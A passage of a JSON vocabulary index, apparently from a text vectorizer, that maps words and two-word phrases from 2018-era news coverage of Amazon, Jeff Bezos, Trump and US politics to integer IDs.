policy": 123515, "hillicon": 123516, "earning good": 123517, "planet largest": 123518, "michael told": 123519, "handed tome": 123520, "article makes": 123521, "huawei packages": 123522, "easily won": 123523, "proposals aimed": 123524, "fellow dow": 123525, "commercial imagines": 123526, "republican controlled": 123527, "don know": 123528, "internal investigation": 123529, "operations small": 123530, "nation trump": 123531, "broadcasts": 123532, "ftc": 123533, "imagery": 123534, "connect login": 123535, "territories refering": 123536, "specify": 123537, "nepali spanish": 123538, "pre payment": 123539, "public funding": 123540, "privatized": 123541, "doesn hurt": 123542, "individuals businesses": 123543, "fbi joins": 123544, "musks tweets": 123545, "stallworth": 123546, "200 drowned": 123547, "increasing postal": 123548, "ultimately run": 123549, "kenneth rogoff": 123550, "flattering questions": 123551, "negligent": 123552, "cut video": 123553, "florida predicts": 123554, "developer arrested": 123555, "industry business": 123556, "receive commission": 123557, "fears trump": 123558, "clientele": 123559, "nation compared": 123560, "debate personally": 123561, "published online": 123562, "socalred14": 123563, "affiliate ant": 123564, "marius": 123565, "revelatory": 123566, "having worked": 123567, "unwanted": 123568, "cost despite": 123569, "virtual reality": 123570, "ripped": 123571, "midterm efforts": 123572, "help sites": 123573, "royal author": 123574, "bitterly": 123575, "sentiment jumps": 123576, "measure taken": 123577, "new delivery": 123578, "charge devices": 123579, "warp": 123580, "old entrepreneur": 123581, "amazon maxsa": 123582, "youths consume": 123583, "150 level": 123584, "intermittent threats": 123585, "response brennan": 123586, "mystery structure": 123587, "defer tax": 123588, "hometown": 123589, "defending recent": 123590, "2018 yerepouni": 123591, "resisting": 123592, "music rihanna": 123593, "stamps don": 123594, "ton 256": 123595, "petroleum institute": 123596, "chanted eath": 123597, "conniving fear": 123598, "toronto office": 123599, "russian leader": 123600, "meaningful impacts": 123601, "yesterday bomb": 123602, "treated": 123603, "company interactions": 123604, "border smacks": 123605, "making lot": 123606, "frequent outbursts": 123607, "ciecko ciecko": 123608, "terrific unh": 123609, "make jeff": 123610, "donate directly": 123611, "published stories": 123612, "exhibit monopolistic": 123613, "course keeping": 123614, "comforting writing": 123615, "disabled people": 123616, "technical positions": 123617, "fab home": 123618, "frankly": 123619, "uncover russian": 123620, "elaborated": 123621, "event sanders": 123622, "mmm liberal": 123623, "campaign totaling": 123624, "amazon acquired": 123625, "texts president": 123626, "union representation": 123627, "biome plus": 123628, "ebitda respectively": 123629, "thing fedex": 123630, "bailouts subsidies": 123631, "shipping deal": 123632, "apt target": 123633, "tech necessarily": 123634, "mulholland": 123635, "900 shares": 123636, "d0 slice": 123637, "baiting xenophobic": 123638, "political ties": 123639, "brashear imageurl": 123640, "cheaper delivery": 123641, "opioid stashed": 123642, "kevin lisota": 123643, "engages": 123644, "key party": 123645, "null logolink": 123646, "paul kennedy": 123647, "district judge": 123648, "glitter gowns": 123649, "familytravel": 123650, "online distribution": 123651, "customer instead": 123652, "orleans director": 123653, "rewrite": 123654, "marie johnson": 123655, "shift beginning": 123656, "companies secretly": 123657, "experts including": 123658, "fastidious": 123659, "movie preferences": 123660, "gerald connolly": 123661, "trump barry": 123662, "secure future": 123663, "735 words": 123664, "amazon accused": 123665, "branded checking": 123666, "growth slowed": 123667, "china india": 123668, "ashford mgmt": 123669, "earning": 123670, "chicago conference": 123671, "dollar socialite": 123672, "mcbride sarahemcbride": 123673, "formal probe": 123674, "stanescu": 123675, "mrc": 123676, "similar perils": 123677, "function onvideocarouselitemclicked": 123678, "official correction": 123679, "members brzezinski": 123680, "fishy": 123681, "science immigration": 123682, "diplomatic realpolitik": 123683, "debt chicago": 123684, "news facebook": 123685, "backstages": 123686, "nairobi environment": 123687, "9l63chza7h": 123688, "sector ranging": 123689, "passenger according": 123690, "global geo": 123691, "american society": 123692, "registered republicans": 123693, "instagram story": 123694, "hiring employees": 123695, "discern": 123696, "targets millennial": 123697, "2017 fraudnewscnn": 123698, "current commission": 123699, "van kanten": 123700, "crumbling infrastructure": 123701, "retail data": 123702, "american war": 123703, "yerepouni": 123704, "cbs broadcasting": 123705, "app\u00e9tit profile": 123706, "p0 i9": 123707, "wiki addressed": 123708, "withdraw brazil": 123709, "newsdesk": 123710, "slimy slug": 123711, "violating campaign": 123712, "protect competition": 123713, "lyft earlier": 123714, "escape reality": 123715, "montreal protocol": 123716, "tubefilter": 123717, "kovic kevin": 123718, "spuriously claiming": 123719, "day workers": 123720, "nice finding": 123721, "national radio": 123722, "announces plan": 123723, "item budget": 123724, "yoshida": 123725, "ilhan": 123726, "imagine baseball": 123727, "lgbt groups": 123728, "partly gentrified": 123729, "bearish level": 123730, "irs accessed": 123731, "trump america": 123732, "say hope": 123733, "existing law": 123734, "ostensibly opposes": 123735, "devices": 123736, "company koc": 123737, "shareholders meeting": 123738, "chinese platform": 123739, "power forever": 123740, "products home": 123741, "citing media": 123742, "sixth paragraph": 123743, "complaints remain": 123744, "catastrophe gives": 123745, "price packaging": 123746, "agent trump": 123747, "dollar strengthening": 123748, "crossing": 123749, "logistics capabilities": 123750, "independent bid": 123751, "business strategies": 123752, "gunpoint police": 123753, "1440et copyright": 123754, "decisively": 123755, "lose cheryl": 123756, "drug overdose": 123757, "300k": 123758, "conneaut": 123759, "suggests americans": 123760, "leading independent": 123761, "pastry": 123762, "willis john": 123763, "people value": 123764, "lea contributed": 123765, "trump given": 123766, "democrat frank": 123767, "drama played": 123768, "pillpack boston": 123769, "shakespearean": 123770, "beats earnings": 123771, "dozen defendants": 123772, "lotof": 123773, "equally miserly": 123774, "wapo story": 123775, "response shows": 123776, "speaker category": 123777, "diyah": 123778, "honcho andy": 123779, "potential plus": 123780, "department discussed": 123781, "average person": 123782, "thinly": 123783, "earnings schedule": 123784, "china google": 123785, "talking shit": 123786, "epitomized": 123787, "discussing jeff": 123788, "service avoiding": 123789, "wear amazon": 123790, "smaller": 123791, "disneyland": 123792, "stock traded": 123793, "2018 adp": 123794, "site medium": 123795, "helping patent": 123796, "oil drilling": 123797, "amazon 528": 123798, "lowest competitive": 123799, "chicago implement": 123800, "bramer sunnyside": 123801, "discounted product": 123802, "privacy practices": 123803, "survey participants": 123804, "killing black": 123805, "orlando florida": 123806, "corp wants": 123807, "shrewdly": 123808, "trump protesters": 123809, "longer leading": 123810, "media using": 123811, "slow fidelity": 123812, "entrepreneur sued": 123813, "hewlett packard": 123814, "drug crime": 123815, "arun": 123816, "face sex": 123817, "yes jim": 123818, "competitive bidding": 123819, "encana corp": 123820, "black man": 123821, "recommends alphabet": 123822, "received torrential": 123823, "cameron bure": 123824, "computer savvy": 123825, "cnn cnn": 123826, "complaint reads": 123827, "pilloried": 123828, "media mogul": 123829, "billion showing": 123830, "half real": 123831, "city adelson": 123832, "celeste headlee": 123833, "does sound": 123834, "company facial": 123835, "sanders countered": 123836, "deravian": 123837, "homeless reported": 123838, "continued allegations": 123839, "friendlier": 123840, "robert mueller": 123841, "haley shames": 123842, "haaseth": 123843, "responding": 123844, "accusation amazon": 123845, "cigarette company": 123846, "octavio santos": 123847, "people homes": 123848, "stupidity": 123849, "mark strausman": 123850, "funding border": 123851, "versus amazon": 123852, "certain presidential": 123853, "pitch eventually": 123854, "approximately 712": 123855, "predicament latest": 123856, "old deadbeat": 123857, "virginia politics": 123858, "experienced similar": 123859, "levels taking": 123860, "eamon javers": 123861, "bedrock principle": 123862, "orange face": 123863, "critical outlets": 123864, "second decide": 123865, "amazon maid": 123866, "wesley yang": 123867, "assert trump": 123868, "expletive laden": 123869, "glancy": 123870, "scaggs": 123871, "companies regulating": 123872, "quarterly operating": 123873, "objecting": 123874, "children book": 123875, "popular fact": 123876, "definitive share": 123877, "mind continue": 123878, "bad fake": 123879, "china following": 123880, "filters lighting": 123881, "possible reason": 123882, "america little": 123883, "finally exits": 123884, "face intense": 123885, "teensafe": 123886, "single amazon": 123887, "executive marc": 123888, "background photograph": 123889, "help just": 123890, "thrive": 123891, "company according": 123892, "savery": 123893, "regime democrats": 123894, "opportunity zone": 123895, "a45 orig": 123896, "scented offices": 123897, "hysterical": 123898, "miller resignation": 123899, "secure facilities": 123900, "articles critical": 123901, "rate charged": 123902, "indecent": 123903, "new subscription": 123904, "financial path": 123905, "0x8lechrcf jeffrey": 123906, "small local": 123907, "broadcasting happiness": 123908, "huffington post": 123909, "jointly exploring": 123910, "texas college": 123911, "ctl": 123912, "china capacity": 123913, "stop companies": 123914, "gerberkawasaki": 123915, "boxes": 123916, "sector similarly": 123917, "georgia deadly": 123918, "pluto ferrari": 123919, "documented aphrodisiacs": 123920, "economically insecure": 123921, "hosting 2020": 123922, "king mcdonalds": 123923, "opens new": 123924, "circumstances sears": 123925, "purchasing toys": 123926, "bleed red": 123927, "google youtube": 123928, "dinklage whets": 123929, "organizations particularly": 123930, "ozzy": 123931, "increase greenhouse": 123932, "long kept": 123933, "address link": 123934, "morocco pope": 123935, "transfers uncovers": 123936, "shares cadence": 123937, "biz citi": 123938, "prizes rescinded": 123939, "pilots": 123940, "simultaneously": 123941, "hq4": 123942, "precious": 123943, "policy liberal": 123944, "correlated": 123945, "latest insights": 123946, "wine": 123947, "clinton obama": 123948, "shares aviance": 123949, "started protracted": 123950, "sense primarily": 123951, "lob attacks": 123952, "fewer jobs": 123953, "cbs reported": 123954, "life moving": 123955, "loop": 123956, "faux items": 123957, "store owners": 123958, "wwg1wga": 123959, "photograph": 123960, "pro": 123961, "2018 eric": 123962, "kernen": 123963, "acknowledged paying": 123964, "feuillebois": 123965, "news publications": 123966, "dad pays": 123967, "grizzlies marc": 123968, "alexa powered": 123969, "poodle product": 123970, "political strength": 123971, "global ceo": 123972, "pdf versions": 123973, "divergent results": 123974, "305": 123975, "bloomberg day": 123976, "warehouses prompted": 123977, "environment survey": 123978, "nazi platform": 123979, "economy hits": 123980, "nuclear state": 123981, "covering torrent": 123982, "lmt": 123983, "statewide offices": 123984, "voluntary commitments": 123985, "behalf weeks": 123986, "program benjamin": 123987, "shoe apparel": 123988, "bioscience resources": 123989, "drawn comparisons": 123990, "win unless": 123991, "purge chicagoist": 123992, "personally dislikes": 123993, "body responsible": 123994, "amendments protection": 123995, "semiconductor stocks": 123996, "amazon vice": 123997, "techies euro": 123998, "know mongabay": 123999, "gazette coverage": 124000, "stewed": 124001, "freedom works": 124002, "moving blue": 124003, "toggle": 124004, "article earlier": 124005, "wild sea": 124006, "disarmament": 124007, "anne vandermey": 124008, "pre foreclosure": 124009, "loss ranks": 124010, "angeles restaurant": 124011, "coffee chain": 124012, "geneva grape": 124013, "response eventually": 124014, "best capabilities": 124015, "city raising": 124016, "tactics sebastian": 124017, "presidential advisor": 124018, "cross": 124019, "negotiations": 124020, "underscores": 124021, "2017 study": 124022, "microscope source": 124023, "sues": 124024, "placating conservatives": 124025, "programmers tell": 124026, "thumbimageelem": 124027, "story shows": 124028, "expression": 124029, "international security": 124030, "github ibm": 124031, "shrewd financial": 124032, "worker conditions": 124033, "attorney sheila": 124034, "designate amazon": 124035, "mueller land": 124036, "1614et copyright": 124037, "community especially": 124038, "hear billionaire": 124039, "uses rankings": 124040, "vocational": 124041, "charlie hurt": 124042, "schiff": 124043, "small moves": 124044, "cavs visit": 124045, "legislative changes": 124046, "nest": 124047, "software making": 124048, "visit morocco": 124049, "handled admissions": 124050, "pompeo requesting": 124051, "similar announcement": 124052, "island making": 124053, "biggest lobbying": 124054, "ap steve": 124055, "just proposed": 124056, "encouraged": 124057, "service network": 124058, "egitimate media": 124059, "2026 assuming": 124060, "100 maxsa": 124061, "happens abroad": 124062, "finishes": 124063, "history sanchez": 124064, "house melchiorre": 124065, "fodder amazon": 124066, "cnl_contenido_contenido_contenido_campa_contenido_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_corriente money": 124067, "say enacting": 124068, "russian state": 124069, "national effort": 124070, "captives freed": 124071, "course": 124072, "accumulate": 124073, "clearly bothered": 124074, "krichiver": 124075, "consumer isn": 124076, "mountain implicitly": 124077, "understanding rep": 124078, "nice boeing": 124079, "reveals exactly": 124080, "laptops hd": 124081, "year spicer": 124082, "secretly assisting": 124083, "vineyards hedging": 124084, "john colaneri": 124085, "derail beer": 124086, "perez abby": 124087, "opinions maybe": 124088, "post paywall": 124089, "college campuses": 124090, "tsunami hit": 124091, "brilliant ruth": 124092, "growth remained": 124093, "local vendors": 124094, "attorney general": 124095, "smirked": 124096, "long engaged": 124097, "island ny": 124098, "chairman talked": 124099, "shadow work": 124100, "enforcement": 124101, "tm wealth": 124102, "billion defying": 124103, "kindergarten": 124104, "2018 willa": 124105, "republican discontent": 124106, "bar shooting": 124107, "thriller feel": 124108, "boilerplate rebuttals": 124109, "transportation management": 124110, "awkward match": 124111, "sanders yesterday": 124112, "engineering problems": 124113, "new agreements": 124114, "major loophole": 124115, "degree weather": 124116, "media ginned": 124117, "confirmed depends": 124118, "proprietary amazon": 124119, "deadly country": 124120, "sellers amazon": 124121, "romanoffs": 124122, "foxborough": 124123, "good deals": 124124, "true tolerance": 124125, "congressional duties": 124126, "amazon misfire": 124127, "damaging trump": 124128, "organic broccoli": 124129, "vaguely familiar": 124130, "reminders": 124131, "ad formats": 124132, "hurts trump": 124133, "regulations post": 124134, "seventies": 124135, "amazon buys": 124136, "highlight china": 124137, "quarter loss": 124138, "1980s": 124139, "agricultural techniques": 124140, "smaller share": 124141, "wasn intended": 124142, "recent request": 124143, "reach trade": 124144, "dos include": 124145, "sanders tweet": 124146, "antithesis": 124147, "euro oecomplexifier": 124148, "story driverless": 124149, "medallist": 124150, "caramel": 124151, "exist governor": 124152, "pf_rd_p": 124153, "michael schuman": 124154, "alberg": 124155, "sleeps": 124156, "great tech": 124157, "men women": 124158, "desecration": 124159, "karas": 124160, "mislead": 124161, "status racial": 124162, "customer": 124163, "existing doorbell": 124164, "wilson blvd": 124165, "lester holt": 124166, "michael menaces": 124167, "story boring": 124168, "price plunge": 124169, "traded lower": 124170, "goff hit": 124171, "successfully gone": 124172, "immutable": 124173, "pop stars": 124174, "entry route": 124175, "bolsonaro neoliberal": 124176, "employers fox": 124177, "feeling morally": 124178, "control consider": 124179, "securities filing": 124180, "angeles rams": 124181, "free market": 124182, "zeide university": 124183, "military branches": 124184, "ajilore 415": 124185, "news feeds": 124186, "taxes low": 124187, "000 government": 124188, "unemployment lobbying": 124189, "sets boundaries": 124190, "amazon building": 124191, "biolite excellent": 124192, "broken immigration": 124193, "entitled congress": 124194, "da a4ee": 124195, "outpaced amazon": 124196, "day warfare": 124197, "trump international": 124198, "quality individual": 124199, "making deal": 124200, "nalc": 124201, "company relatively": 124202, "york division": 124203, "thought provoking": 124204, "handgun basics": 124205, "really sharply": 124206, "similar tweet": 124207, "amazon oyster": 124208, "smartly": 124209, "mxm bolsters": 124210, "physical stores": 124211, "white gloves": 124212, "googl twitter": 124213, "business really": 124214, "raunchy pics": 124215, "cover called": 124216, "capital grant": 124217, "coffee shop": 124218, "representative otr": 124219, "oversee corporate": 124220, "20again": 124221, "wrote journalist": 124222, "pilfering": 124223, "held fron": 124224, "aaron": 124225, "letter volumes": 124226, "duchess": 124227, "nyse kbh": 124228, "founder psychological": 124229, "sell traders": 124230, "shy tech": 124231, "fresh prince": 124232, "finance saving": 124233, "inauguration spending": 124234, "interesting considering": 124235, "completely transform": 124236, "baseless attacks": 124237, "amazon sent": 124238, "brothers says": 124239, "arabian finance": 124240, "rescue mission": 124241, "lead player": 124242, "lnahmias politico": 124243, "antitrust threats": 124244, "ruling ruralists": 124245, "bought porsche": 124246, "easley": 124247, "marketing instagram": 124248, "itunaffordable": 124249, "repair needs": 124250, "getting paid": 124251, "independently selected": 124252, "scrambling": 124253, "pro alex": 124254, "diagnostics giant": 124255, "outages caused": 124256, "raises profound": 124257, "tyrone johnson": 124258, "million deal": 124259, "lawsuit filed": 124260, "political ally": 124261, "war compared": 124262, "prowess threatens": 124263, "ck pic": 124264, "american psychiatrist": 124265, "explosive investigation": 124266, "growing monopoly": 124267, "otherwords lindsay": 124268, "solving": 124269, "kelly interview": 124270, "cause cancer": 124271, "flipping activity": 124272, "psychoanalysts": 124273, "addressed sooner": 124274, "malaysia thailand": 124275, "deals launched": 124276, "lived modestly": 124277, "investor earlier": 124278, "abortions": 124279, "source clause": 124280, "year dramatic": 124281, "caption salke": 124282, "reflect growing": 124283, "strong despite": 124284, "stringent instead": 124285, "political season": 124286, "capable missile": 124287, "nations human": 124288, "denotes current": 124289, "populist": 124290, "speechwriter jon": 124291, "tennis fashion": 124292, "profile senators": 124293, "afloat financially": 124294, "surveillance infrastructure": 124295, "harshita": 124296, "marketing jack": 124297, "true swing": 124298, "authorities": 124299, "eggshells": 124300, "email seeking": 124301, "wide reaching": 124302, "media according": 124303, "tiegs did": 124304, "amy wang": 124305, "multimillionaires index": 124306, "gallup recent": 124307, "moscow deal": 124308, "hatred violence": 124309, "google logo": 124310, "using swords": 124311, "manny hernandez": 124312, "ibama staff": 124313, "richly valued": 124314, "furious expansion": 124315, "powerful manner": 124316, "furnish": 124317, "distributor told": 124318, "star hotels": 124319, "ap retail": 124320, "divorce drama": 124321, "43415030 43539638": 124322, "ad criticized": 124323, "kemper": 124324, "hunterdon county": 124325, "online offline": 124326, "khannaelection countdown": 124327, "blackburnmarsha": 124328, "b8zjiefv0v": 124329, "adoring media": 124330, "tharrison5 bloomberg": 124331, "data scandal": 124332, "supports animal": 124333, "agreed": 124334, "bristow": 124335, "harvard psychologist": 124336, "dating ayoola": 124337, "postal commerce": 124338, "assailed amazon": 124339, "afford seattle": 124340, "tiffany haddish": 124341, "wear pants": 124342, "bezos page": 124343, "beto sex": 124344, "widely consequential": 124345, "fink": 124346, "infrastructure don": 124347, "airport": 124348, "workman compensation": 124349, "crow": 124350, "susan ferrechio": 124351, "denied considering": 124352, "secular establishments": 124353, "nan talese": 124354, "subway walmart": 124355, "openly driven": 124356, "patent settlement": 124357, "pharma space": 124358, "billmurphyjr aut_title": 124359, "zone tax": 124360, "extra 500": 124361, "delbene finite": 124362, "horrible things": 124363, "wage hike": 124364, "square meals": 124365, "sure new": 124366, "walkau": 124367, "jay parker": 124368, "economic land": 124369, "office reits": 124370, "itthe new": 124371, "service agent": 124372, "natured soul": 124373, "democrats scandals": 124374, "staff wants": 124375, "products easier": 124376, "anticipated second": 124377, "signaling septuagenarian": 124378, "department print": 124379, "selling location": 124380, "published article": 124381, "joke": 124382, "russia lashes": 124383, "hardware vendors": 124384, "democrats control": 124385, "various tax": 124386, "largest tax": 124387, "content michael": 124388, "legal tangle": 124389, "lifetime opportunity": 124390, "draft terms": 124391, "twitter bezos": 124392, "historical ecl": 124393, "stock picker": 124394, "raising tariffs": 124395, "gerald mchugh": 124396, "consumer prices": 124397, "ferocious determination": 124398, "reader repeatedly": 124399, "welch idea": 124400, "indiana voters": 124401, "language attacking": 124402, "upcoming 130": 124403, "west virgina": 124404, "driving utility": 124405, "peterson": 124406, "aerial video": 124407, "town halls": 124408, "tweet google": 124409, "jet": 124410, "largest numberof": 124411, "yotam ottolenghi": 124412, "racist photo01": 124413, "a4ee j1": 124414, "income working": 124415, "needed lift": 124416, "mean mcdowell": 124417, "investigations possible": 124418, "judiciary subcommittee": 124419, "mccain aides": 124420, "violence charge": 124421, "hypocritical senate": 124422, "vbtt419xoj greg": 124423, "contretemps dragging": 124424, "daring stroke": 124425, "gaza israel": 124426, "expand tuition": 124427, "airasia founder": 124428, "cnn lobbyist": 124429, "services division": 124430, "held 054": 124431, "sent 625": 124432, "objective surprise": 124433, "shape pressure": 124434, "initially high": 124435, "spooky halloween": 124436, "today world": 124437, "public knowledge": 124438, "districts case": 124439, "chuck lorre": 124440, "low stock": 124441, "launching round": 124442, "successive workers": 124443, "local senator": 124444, "stop playing": 124445, "pushing post": 124446, "eating detox": 124447, "2016 pushing": 124448, "fed raising": 124449, "tried numerous": 124450, "items sourced": 124451, "india mukesh": 124452, "received frantic": 124453, "doorstep wall": 124454, "importantly unintentionally": 124455, "highly politicized": 124456, "announced plan": 124457, "spend 300": 124458, "firing fed": 124459, "enterprise practices": 124460, "acted unconstitutionally": 124461, "michel": 124462, "large crowd": 124463, "frank ortis": 124464, "administration white": 124465, "uk early": 124466, "parameswaran added": 124467, "color purple": 124468, "addresses": 124469, "100billion wiped": 124470, "day lagging": 124471, "collective market": 124472, "beutler": 124473, "563": 124474, "frum argues": 124475, "utm_campaign fixed_positions": 124476, "radical left": 124477, "eventually admitted": 124478, "grasping": 124479, "google declaring": 124480, "cloud technology": 124481, "leftist presidential": 124482, "contact amazon": 124483, "investigative journalists": 124484, "probably short": 124485, "cool thing": 124486, "metal": 124487, "sheet measure": 124488, "mothers landlord": 124489, "total dollar": 124490, "network fox": 124491, "santucci jonathan": 124492, "blattner high": 124493, "country east": 124494, "reuters stock": 124495, "broad tech": 124496, "mackey ceo": 124497, "know facebook": 124498, "conspiracy flames": 124499, "company exxonmobil": 124500, "industry relationships": 124501, "today action": 124502, "yong kim": 124503, "souvenir": 124504, "good 2017": 124505, "cheered amazon": 124506, "curran freezes": 124507, "news yahoo": 124508, "stipend": 124509, "billionaire completes": 124510, "emirates": 124511, "city isn": 124512, "enterprise information": 124513, "mock pulls": 124514, "removals": 124515, "america second": 124516, "book stores": 124517, "uber symptom": 124518, "effectively track": 124519, "exorcises": 124520, "added according": 124521, "privacy don": 124522, "market sue": 124523, "video efforts": 124524, "taxpayer funded": 124525, "robert pearson": 124526, "ambitious reform": 124527, "matter involved": 124528, "world president": 124529, "shorted": 124530, "chrysler stocks": 124531, "derwin": 124532, "geothermal": 124533, "cheering crowd": 124534, "eruptions": 124535, "reading gov": 124536, "instagram models": 124537, "arrested minutes": 124538, "named solyndra": 124539, "delay florida": 124540, "really disgusted": 124541, "footwear association": 124542, "appeared relaxed": 124543, "sovereign state": 124544, "enquirer owner": 124545, "troll member": 124546, "maga time": 124547, "time saved": 124548, "site axios": 124549, "new strategy": 124550, "navy make": 124551, "bombshell post": 124552, "cost increase": 124553, "indictment accusing": 124554, "richard geddes": 124555, "vigorously defend": 124556, "intellect": 124557, "pushed harder": 124558, "sanchez step": 124559, "cartoon president": 124560, "leaker bezos": 124561, "foto sourceap": 124562, "stay bezos": 124563, "expeditiously review": 124564, "quake": 124565, "foreign government": 124566, "greater attention": 124567, "billion inflation": 124568, "carolyn": 124569, "ellison reporter": 124570, "include new": 124571, "free products": 124572, "unimaginable wherewithal": 124573, "kafka": 124574, "fame slugger": 124575, "oise aisne": 124576, "false inc_custom_css": 124577, "newyorkgritty": 124578, "companies fled": 124579, "founder libel": 124580, "customer fulfillment": 124581, "attend": 124582, "story punches": 124583, "workers commentators": 124584, "recovery continues": 124585, "googler": 124586, "elections polls": 124587, "bronx ocasio": 124588, "thank jeff": 124589, "quarrel": 124590, "possible locations": 124591, "oprah referred": 124592, "2014 big": 124593, "regular stress": 124594, "queens pheffer": 124595, "matt kelly": 124596, "thomson fairfaxmedia": 124597, "charging amazon": 124598, "budding": 124599, "horrible working": 124600, "offering kyle": 124601, "bezos fended": 124602, "nyx": 124603, "giants zte": 124604, "trustworthy": 124605, "sell tons": 124606, "fbi confronts": 124607, "manifesto isn": 124608, "unverified account": 124609, "mono": 124610, "segment": 124611, "deal consciously": 124612, "nasdaq wba": 124613, "passed measures": 124614, "pr": 124615, "small groups": 124616, "does headlineplaintext": 124617, "network dagen": 124618, "acceptable": 124619, "attacked abc": 124620, "ken segall": 124621, "shapiro noted": 124622, "entire report": 124623, "fights sure": 124624, "information including": 124625, "bruce": 124626, "meiji yasuda": 124627, "words video": 124628, "self distribution": 124629, "humanitarian interests": 124630, "excess cash": 124631, "constant partisan": 124632, "subramaniam": 124633, "meltdown story": 124634, "boycott gained": 124635, "potential infringers": 124636, "street kid": 124637, "ezasscul": 124638, "mitigated": 124639, "insanely popular": 124640, "hornsey": 124641, "learn reason": 124642, "girls deprived": 124643, "business decision": 124644, "companies estimated": 124645, "releases book": 124646, "point marks": 124647, "tko talk": 124648, "wore": 124649, "nyassembly": 124650, "appreciated larry": 124651, "newspapers": 124652, "square st": 124653, "tragicomedy": 124654, "adult bring": 124655, "maxsa sells": 124656, "analyst believes": 124657, "markle dress": 124658, "uk cinemas": 124659, "increasing popularity": 124660, "jeremymclellan": 124661, "weekly timeframes": 124662, "protest amazon": 124663, "employers told": 124664, "mattingly cnn": 124665, "host laura": 124666, "trump legal": 124667, "story commercial": 124668, "depth daily": 124669, "cuomo promise": 124670, "schx": 124671, "world war": 124672, "consumer reports": 124673, "vertical integration": 124674, "frustrated dissatisfaction": 124675, "amzn corporation": 124676, "think chinese": 124677, "kavanaugh avoids": 124678, "sight play": 124679, "firmer dollar": 124680, "mailing multiple": 124681, "membersenough time": 124682, "buying online": 124683, "aghast putin": 124684, "club picks": 124685, "repaired trump": 124686, "sex ring": 124687, "star keeley": 124688, "johnson carmel": 124689, "suffer fallout": 124690, "articles exclusively": 124691, "encourage users": 124692, "aslam suggests": 124693, "inspection": 124694, "waldman": 124695, "sudan airlifted": 124696, "james brien": 124697, "printed gun": 124698, "company strictly": 124699, "says isn": 124700, "beschloss": 124701, "research took": 124702, "deputy white": 124703, "2018 dear": 124704, "investing directly": 124705, "shamelessness": 124706, "fury earlier": 124707, "airworthiness certificate": 124708, "wearing protective": 124709, "kitchen girls": 124710, "shafted": 124711, "makes ceo": 124712, "stop powering": 124713, "gardner talks": 124714, "s4a o1a": 124715, "emboldened right": 124716, "wares": 124717, "archive": 124718, "digital marketing": 124719, "cloud military": 124720, "wasn required": 124721, "1996 maker": 124722, "orange sparkle": 124723, "amazon problem": 124724, "reports 2018": 124725, "maybe yelp": 124726, "line number": 124727, "shares icon": 124728, "jane lynch": 124729, "term balance": 124730, "tax compliance": 124731, "year turned": 124732, "murdering sibling": 124733, "celebs racing": 124734, "41775805": 124735, "ryder north": 124736, "subway restaurant": 124737, "candidate creates": 124738, "sponsorship deal": 124739, "prove profitable": 124740, "actual noses": 124741, "profile couple": 124742, "charitable open": 124743, "previous felony": 124744, "el diario": 124745, "endorse": 124746, "doors": 124747, "cronyism king": 124748, "state consumer": 124749, "despicable": 124750, "064": 124751, "predictive modeling": 124752, "conservatives stopthebias": 124753, "axp": 124754, "fromoffice": 124755, "progress rise": 124756, "goog employees": 124757, "jiatf": 124758, "1257et": 124759, "company provides": 124760, "audience": 124761, "obtain president": 124762, "people simply": 124763, "millennial investor": 124764, "targeted james": 124765, "pricing wouldn": 124766, "directly target": 124767, "offers insights": 124768, "art": 124769, "obvious attempt": 124770, "warned citing": 124771, "fedex nyse": 124772, "acquire damaging": 124773, "challenger roger": 124774, "shellacked": 124775, "subway": 124776, "firm morning": 124777, "publication obama": 124778, "follows andy": 124779, "segment jason": 124780, "protestors reportedly": 124781, "way begin": 124782, "penseur youth": 124783, "fischer ellie": 124784, "morning jim": 124785, "exceeded": 124786, "halloween costume": 124787, "poles bike": 124788, "shows sean": 124789, "make shitty": 124790, "brownface": 124791, "opening center": 124792, "antitrust critics": 124793, "calacanis": 124794, "company large": 124795, "garden bolsonaro": 124796, "corporate stakeholders": 124797, "caribbean islands": 124798, "delivery today": 124799, "days inside": 124800, "leaders considered": 124801, "foia policies": 124802, "videotitledivid": 124803, "organized partisan": 124804, "forced": 124805, "company rising": 124806, "neighbor share": 124807, "make dent": 124808, "leaders resemble": 124809, "relaxed": 124810, "better 500": 124811, "reports regarding": 124812, "incentive based": 124813, "different makers": 124814, "amazon cyber": 124815, "index rose": 124816, "surveillance technology": 124817, "mississippi river": 124818, "point amazon": 124819, "chief legal": 124820, "significant moves": 124821, "remain muted": 124822, "americanwell": 124823, "means mackenzie": 124824, "contributor summarizes": 124825, "big questions": 124826, "tweet endorsing": 124827, "dollar finance": 124828, "christmas list": 124829, "centres": 124830, "amazon moves": 124831, "existing corporate": 124832, "deutsche 2019": 124833, "media pro": 124834, "douglas today": 124835, "beast despite": 124836, "amazon brought": 124837, "product performs": 124838, "republicans backing": 124839, "throne mad": 124840, "disseminate mass": 124841, "crickets": 124842, "speech 2018": 124843, "bauer jbauer": 124844, "association married": 124845, "youtube socialist": 124846, "raytheon katherine": 124847, "blog section": 124848, "possible effects": 124849, "dubai attempted": 124850, "sherry lichtenberg": 124851, "mosquito netting": 124852, "headquarters facility": 124853, "rail deal": 124854, "conjunction": 124855, "warren agree": 124856, "product dillard": 124857, "rzyqq6yuek": 124858, "leader aung": 124859, "apttus": 124860, "deforestation land": 124861, "payments revenue": 124862, "super power": 124863, "welcome conqueror": 124864, "video recaps": 124865, "computer expensive": 124866, "valedictorian jeff": 124867, "washington hilton": 124868, "citi research": 124869, "cameras": 124870, "worse threa": 124871, "cantonalbank invested": 124872, "deficiencies": 124873, "ptsd fda": 124874, "emarketer expects": 124875, "ad clearly": 124876, "dozen wires": 124877, "therussian federation": 124878, "spinach muckerman": 124879, "regular flat": 124880, "process approximately": 124881, "2026": 124882, "partnership portfolio": 124883, "law forcing": 124884, "ap journalists": 124885, "trump bragged": 124886, "continued": 124887, "nyc plans": 124888, "old prices": 124889, "later according": 124890, "acquired competitors": 124891, "prescription costs": 124892, "verystrange things": 124893, "southfield michigan": 124894, "renowned": 124895, "law enhanced": 124896, "uri": 124897, "spoken": 124898, "huawei setbacks": 124899, "embraces": 124900, "nora biettetimmons": 124901, "sources reporting": 124902, "donating": 124903, "electronics plant": 124904, "attacks robert": 124905, "clip mike": 124906, "2012 additionally": 124907, "fukoku": 124908, "work joins": 124909, "help boost": 124910, "future classification": 124911, "rhetoric sharp": 124912, "audition": 124913, "goitein vox": 124914, "secretary warns": 124915, "ta shark": 124916, "conditions intimidating": 124917, "nyc rich": 124918, "tags 2017": 124919, "life 